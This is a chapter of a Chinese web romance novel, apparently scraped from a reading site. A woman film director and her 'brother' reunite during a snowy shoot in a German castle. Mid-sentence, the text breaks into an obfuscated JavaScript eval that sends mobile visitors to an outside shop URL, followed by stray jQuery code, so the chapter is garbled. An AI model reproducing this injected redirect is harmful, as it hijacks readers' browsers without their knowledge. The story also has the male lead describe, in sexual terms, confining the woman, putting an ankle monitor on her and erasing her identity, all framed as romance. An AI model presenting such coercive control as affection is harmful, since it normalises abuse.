42. 再遇雪

作品:《伊卡洛斯与桥

    陈罪先驱车回了公寓,裴梦紧随其后。但她哥不要命地开车,她却有些跟不上,没一会儿就被甩开。


    等她回家的时候,陈罪正在阳台上吸烟。屋内没有开灯,阳台上只有一盏黄色的灯泡,陈罪单手挡风,微低头颅,点燃烟草,动作优雅得很。


    “哥?”裴梦有些胆怯地发问,骗陈罪自己去考察,心里还是发虚,有点害怕,她放下包,一步一步挪到阳台,想要打开门跟人家解释一下。


    陈罪的西装外套扔在沙发上,身上只有衬衫马甲,他听见妹妹回来的声音,身影微顿,夹着烟的细长手指放在嘴边,


    “饿了吗?微波炉里有饭。”陈罪随意靠在栏杆上,向玻璃门吐了口烟,白雾升腾而起,灯光氤氲着他黝黑的瞳孔,目光和夜色一样浓重。


    裴梦停在原地,手掌扒在门上,进也不是退也不是。陈罪面色平静看起来不想生气的,这让裴梦不知道接下来应该认错还是装作无事发生。


    “傻愣着做什么?”陈罪掐灭烟头,推开门,摁开灯,轻车熟路地把饭菜拿出来摆在餐桌上示意呆愣地裴梦过来。


    裴梦小心翼翼地观察陈罪的表情,拿着筷子欲言又止。


    “想说什么?”


    “你……没生气吗?”


    “没有。”


    裴梦犹豫了一会儿,又鼓起勇气说:“真的吗?”


    “假的。”陈罪放下筷子,直视妹妹。


    “不过,你应该不喜欢我管你……”陈罪给妹妹的碗里填了一只鸡腿,面无表情道:“以后我只会按你喜欢的方式跟你相处。”


    “哦,好吧。”裴梦脸上笑嘻嘻,心里嘀嘀咕咕十分有十二分的不对劲儿,陈罪以前可不是这样的,以前有人看她一眼,陈罪恨不得把对方眼珠子挖下来,怎么现在变得这么通情达理了。


    她吃下鸡腿,壮着胆子又问:“那按你本来的,那个做法是什么样的啊?”


    琥珀色的眼珠散发着真诚的求知欲,裴梦迟疑地抬头。陈罪慢慢地放下筷子,挽起袖口,眼神勾着裴梦,


    “我会把你绑到床上,把你的脚踝拷上电子脚铐,让你哪也不能去,最好是把身份消掉,让谁也找不到你……”


    “最后……让你重新爱上我,让你没我不行,在床上你只能穿白色的吊带睡裙,露出圆圆的肩膀,每天都要和我在床——”


    “行了,行了!”裴梦越听脸越红,迫不及待打断,耳尖能滴血,简直羞耻得不行,仿佛陈罪预想的画面在自己眼前已经徐徐展开……


    而陈罪只是面无表情地叙述,没感觉这是什么说不出口的话,甚至感觉理所应当,理应如此。


    这么久没见,陈罪怎么变得这么……这么的□□。


    “如果是以前的我,我会把你那些保时捷都倒进海里,让它们飘向太平洋。”


    裴梦不寒而栗,想马上去看看自己车库里停着的宝贝儿们,简直是暴殄天物!裴梦后怕一般摸自己的车钥匙。


    没想到陈罪话锋一转:“但我现在,很想让你像以前那样爱我,所以我选择忍受。”


    裴梦松了一口气,还算他有良心。裴梦心里盘算要赶紧让William在车上加固安保系统,要安最好的!那种别人一碰就能报警的那种,绝对不能让陈罪有机可乘。


    “但如果,我有一天忍不了了,也希望你不要怪我。”陈罪收起自己吃剩的餐盘,起身利索地把上面的剩饭倒进垃圾桶。


    “忍不了,会怎样?”裴梦看着她哥背影问道。


    陈罪无可奈何地叹气,扭身靠在厨房的大理石台上,他抱着手臂看着不自量力的妹妹,轻笑一声。


    “会干死你,给你在屁股后面戴上兔子尾巴,然后让你摇着尾巴说喜欢我。”陈罪一条一条的往下说,目光意有所指地上下打量裴梦。


    什么?什么?这还是他清风明月冰清玉洁不食人间烟火的哥哥吗?


    裴梦大脑轰鸣,像是听不懂中国字,眼睛眨巴眨巴,反应过来陈罪在说什么后,饭也吃不进几口,立马捂着脸跑回卧室。


    她觉得这栋公寓里充斥着淫.乱的气息,而陈罪就是淫贼之首。


    门嘭的一声关上,陈罪看着落荒而逃的妹妹忍不住笑出声来。


    裴梦在门的另一边平稳呼吸,几分钟过后,心脏还是砰砰跳。


    闯子:查到了,手机是陈罪他大伯那边的人。


    Dream:感谢闯子!有空回国请你吃饭。


    陈罪他大伯,不就是陈澍的父亲。陈澍会是谁那头的呢?


    陈罪父亲再度入狱,陈罪看似引咎辞职实则还是在跟陈澍管着陈家名下的公司,陈澍在明,他在暗。


    他们两个究竟在搞什么鬼?目的又是什么?陈澍又为什么背叛自己的父亲帮助表弟,陈罪这么多疑的人又为什么会相信自己所谓的表哥?


    想不明白。


    裴梦联系了老爸的代理经纪人。


    /


    德国转入冬季,漫天飞雪的时节,正是开机的好时机,《雪柏林》的工作组已经准备就绪,男女主角也已经定下来,男主自然是这几个月玩命减肥的Jack。


    女主么,裴梦海选了一个东欧女孩,名字就叫Rose,有一头艳丽的红发,不过人却很胆怯,和本子人物贴得不行,裴梦说不出有多满意。


    拍摄的主要古堡则由神通广大的William找寻,据说这处古堡的主人家和William家是世交,所以才借的这么爽快,城堡里除了佣人,主人一家早就去私人小岛度假了。


    他们还贴心地为拍摄组准备了客房。


    Jack拖着行李箱站在楼梯上,无语吐槽:“大家都来,我没意见,不过,你前男友来做什么?”


    裴梦微笑点头:“你最好管好你的嘴,小心他再把你关进鸟不拉屎的小木屋。”


    陈罪用羊皮手套拍拍黑色大衣肩膀上的雪,凌厉的面庞比外面的风雪还冷。


    他淡淡看向Jack,似乎对“前男友”这个称呼很不满意。Jack被看得发毛,撇撇嘴赶紧提着行李箱上楼。


    呵呵,出息。裴梦飞快地走到房间前,她的房间挨着陈罪的。


    她刚要开门,陈罪就从后面跟上来,不动声色地递出几张暖贴,陈罪白皙的手指被冻得指尖泛红。


    “德国冬天冷。”


    “谢谢。”裴梦礼貌微笑,转身进了房间。


    看着手里的几张暖贴,裴梦忽然想到高中冬天的时候,自己的桌格里也是会莫名其妙跑出几张暖贴来的。一开始她以为是许令放的,可后来越想越不对,因为许令向来都是用热手宝的。


    十年前,陈罪会不会也像今天一样,在她的桌格里悄悄放暖贴,然后装作若无其事的样子,一问三不知。


    手机里传出转账提示音。


    裴梦按照经理人说的金额,付了全款。


    《雪柏林》的第一场戏,就是Troitz在雪夜救回Rose。按照剧本要求和逃亡少女的人物设定,Rose穿得很单薄,浑身上下只有一件白布裙,所以这场戏要尽快走完。


    雪花如鹅毛般飘下,金发碧眼的Jack穿着中世纪德国贵族的黑色长款披肩在雪地里同Rose相拥。


    红色长发铺满雪地,犹如山茶花开。


    裴梦在取景器里看着两人的对戏,刚想喊cut就见陈罪打着一把黑色的大伞,从城堡一侧漫步而来。


    一米八几的高大身姿正好能撑起黑色大衣,肩宽腿长。风雪太急,把他的外套吹向身后,里面是整齐的黑色西装三件套,陈罪走路用腰发力,步伐特别有感觉。


    成熟又稳重的英俊男人,裴梦两辈子的春梦对象,就这样撑着一把伞在柏林的雪夜朝她走来。


    一步一步,踏在她的心上。


    裴梦呆得连对讲机都忘记放下,她哥完全像个男模!


    组员Maria也被迷得合不上嘴,眼看着这位俊美的男人走到组长面前。


    “看你在外面这么久,肯定很冷,我煮了热牛奶,你喜欢喝的牌子。”


    “晚饭见你吃的也很少,是不合口味吗?一会儿我给你做些别的好吗?”


    陈罪贴心地从怀里拿出那条紫色巴宝莉围巾,一圈一圈慢慢环在裴梦空荡荡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838962|186550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脖子上。


    陈罪一丝不苟地为妹妹打上结,眉眼低垂,雪花融化在他的睫毛上,水莹莹的,衬得那双凤眼漂亮得不成样子。


    裴梦被震得说不出话,怎么突然来这招?这太犯规了。


    Maria好心帮呆愣的导演喊了cut。


    “Icarus这位是谁啊?”Maria怼怼裴梦的胳膊,特别娇羞地看着男人。


    “我,我哥,是我哥!”裴梦胡乱抓住陈罪正在为自己系围巾的手,慌乱解释。


    Maria意味深长地看着两位,撇撇嘴去给Rose找大衣。


    一触碰到陈罪的手,裴梦就觉得不对劲,怎么这么凉?


    “你手套呢?”


    “忘记带了。”陈罪撒谎不打草稿。


    能带围巾,却忘记戴自己的手套吗?裴梦将信将疑。


    “小梦要帮哥暖手吗?”陈罪温柔地看着妹妹。


    “才不要,冰死我了。”


    “也对。”


    裴梦嘴硬地把手放下,但是却从哥哥的眼底捕捉到一丝落寞的神情,低着头就像一只被抛弃的可怜小狗。


    裴梦十分不忍心看见她哥这副可怜件儿的。


    “来吧来吧,放在我的羽绒服口袋里。”


    裴梦抓住陈罪的手臂就往自己口袋里插,结果陈罪这次却不愿意。他别着胳膊,脸别到另一边,似乎有些失落,略有歉意地说:“不用了,会冰到你的,一会儿就好了。”


    裴梦听到这种话更是不忍心了。


    “没关系的。”


    裴梦温柔地附上哥哥冰冷的双手,如愿以偿地将其放在自己的羽绒服口袋里,一边将自己小小的手回握住陈罪的那双大手,有一下没一下的摩挲,企图摩擦生热,一边和旁边的组员沟通明天的拍摄。


    陈罪顺从地站在妹妹身侧,没说话,但忍得很辛苦,裴梦的动作就像小猫挠痒痒一样,不仅在他手上挠,还在他心上挠。


    “咳咳,收工吗?导演?”Jack穿着戏里的衣服靠近卿卿我我拉拉扯扯的两位。


    “嗯,收工。”


    摄影器材会有佣人收到城堡里,他们什么都不用做。


    陈罪倒是说到做到,真的给裴梦热好牛奶送到房间。


    彼时裴梦正穿着睡衣看着窗外一片白茫茫的月色。


    “放在这里,记得喝。”陈罪有分寸地回避,快速地开门关门,眼睛都没往屋内瞟。


    裴梦记得,高中的时候,陈罪每晚都会给自己煮牛奶,他说对睡眠好,裴梦也确实没有再失眠过。


    不过这究竟是因为哥哥在身边,还是因为那杯普通的热牛奶,她不知道。


    冬天一到,她就会把那串藕粉色手串戴在手腕上,这样就不会被人看见,更不会被陈罪发现。


    裴梦一直避免让别人认为自己忘不掉前男友,也避免让陈罪这样认为,她始终想为自己留一份体面。


    陈罪却直说想她,忘不了她,想让她再次爱上自己。


    六年前,他们去的捷尔别里卡,陈罪说想和妹妹再看一次雪,不过那时是夏天,苔原上只有星星点点的几片。


    现在是他们分别后见的第一场雪。


    不会再有被迫的分离,虽然他们之间的关系还是错综复杂。


    裴梦端起那杯牛奶,看着里面纯白的液体,突然有种想敲响陈罪房门的冲动。


    算了,就这样吧。


    就再豁出去一次。


    裴梦把牛奶喝光,端着杯子打开自己的房门,站在走廊里对着哥哥的屋门,最终敲响。


    “怎么了?”


    陈罪穿着浴袍,发丝还挂着水珠,应该是刚洗完澡还没来得及吹头发。


    “我能和你睡吗?”裴梦说完便抿起嘴唇,一双杏眼可怜地祈求。


    “你知道自己在说什么吗?”陈罪无奈地深吸一口气,手臂撑在门板上,根本拿裴梦没办法。


    裴梦现在就穿着吊带睡裙,不过肩带很宽,恰好搭在锁骨上,露出圆圆的肩头,就跟陈罪的肖想如出一辙。


    “我不会比现在更清楚了。”